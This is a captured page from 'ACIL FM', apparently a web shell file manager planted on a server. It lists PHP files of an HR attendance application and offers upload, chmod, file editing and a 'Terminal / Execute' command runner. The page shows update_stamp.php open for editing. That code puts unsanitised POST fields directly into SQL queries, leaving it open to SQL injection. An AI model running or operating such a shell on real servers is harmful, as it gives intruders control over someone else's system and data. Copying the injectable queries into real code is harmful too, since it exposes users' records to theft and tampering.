ACIL FM
Dark
Refresh
Current DIR:
/home/mhhtmff/app/NH-HR-test/ds/php/stamps
/
home
mhhtmff
app
NH-HR-test
ds
php
stamps
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
delete_stamp.php
3.61 MB
chmod
View
DL
Edit
Rename
Delete
get_calendar_stamps.php
1.08 MB
chmod
View
DL
Edit
Rename
Delete
manage_stamp.php
3.97 MB
chmod
View
DL
Edit
Rename
Delete
new_stamp.php
2.23 MB
chmod
View
DL
Edit
Rename
Delete
update_stamp.php
2.35 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /home/mhhtmff/app/NH-HR-test/ds/php/stamps/update_stamp.php
<?php session_start(); if (!isset($_SESSION['loggedin'])) { exit("unauthorized"); } include "../database.php"; $stamp_id = $_POST["stamp_id"]; $stamp_type_entry = $_POST["stamp_type_entry"]; $stamp_type_exit = $_POST["stamp_type_exit"]; $stamp_transfert = $_POST["stamp_transfert"]; $stamp_transfer_location = $_POST["stamp_transfer_location"]; $stamp_date = $_POST["stamp_date"]; $stamp_time = $_POST["stamp_time"]; $stamp_note = $_POST["stamp_note"]; if ($stamp_type_entry == "true") { $stamp_type = 'Entrata'; } if ($stamp_type_exit == "true") { $stamp_type = 'Uscita'; } if ($stamp_transfert == "true") { $transfert = 1; $transfert_location = $stamp_transfer_location; } else { $transfert = 0; $transfert_location = ""; } $stamp_datetime = $stamp_date . " " . $stamp_time; $sql = "SELECT * FROM stamps WHERE id = $stamp_id"; $result = mysqli_query($con, $sql); $stamp = mysqli_fetch_assoc($result); $sql_attendance = "SELECT * FROM attendance WHERE month = " . date("m", strtotime($stamp_date)) . " AND year = " . date("Y", strtotime($stamp_date)) . ""; $result_attendance = mysqli_query($con, $sql_attendance); if ($result_attendance->num_rows > 0) { echo "attendancePresent"; exit; } $sql = "SELECT COUNT(id) AS tot FROM stamps WHERE user_id = " . $stamp["user_id"] . " AND date = '$stamp_date' AND type ='$stamp_type'"; $result = mysqli_query($con, $sql); $stamps = mysqli_fetch_assoc($result); if ($stamps["tot"] > 4) { echo "maxStamps"; } else { $sql_update = "UPDATE stamps SET type = '" . $stamp_type . "', date = '" . $stamp_date . "', time = '" . $stamp_time . "', note = '" . $stamp_note . "', in_transfer = " . $transfert . ", transfer_location = '" . $transfert_location . "' WHERE id = " . $stamp_id . ""; if ($con->query($sql_update)) { $sql_attendance = "SELECT * FROM attendance WHERE month = " . date("m", strtotime($stamp_date)) . " AND year = " . date("Y", strtotime($stamp_date)) . ""; $result_attendance = mysqli_query($con, $sql_attendance); if ($result_attendance->num_rows > 0) { $attendance = mysqli_fetch_assoc($result_attendance); $sql_update = "UPDATE attendance SET status = 'Da ricalcolare' WHERE id = " . $attendance["id"] . ""; $con->query($sql_update); } echo "OK"; } else { echo "error"; } } $con->close();
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply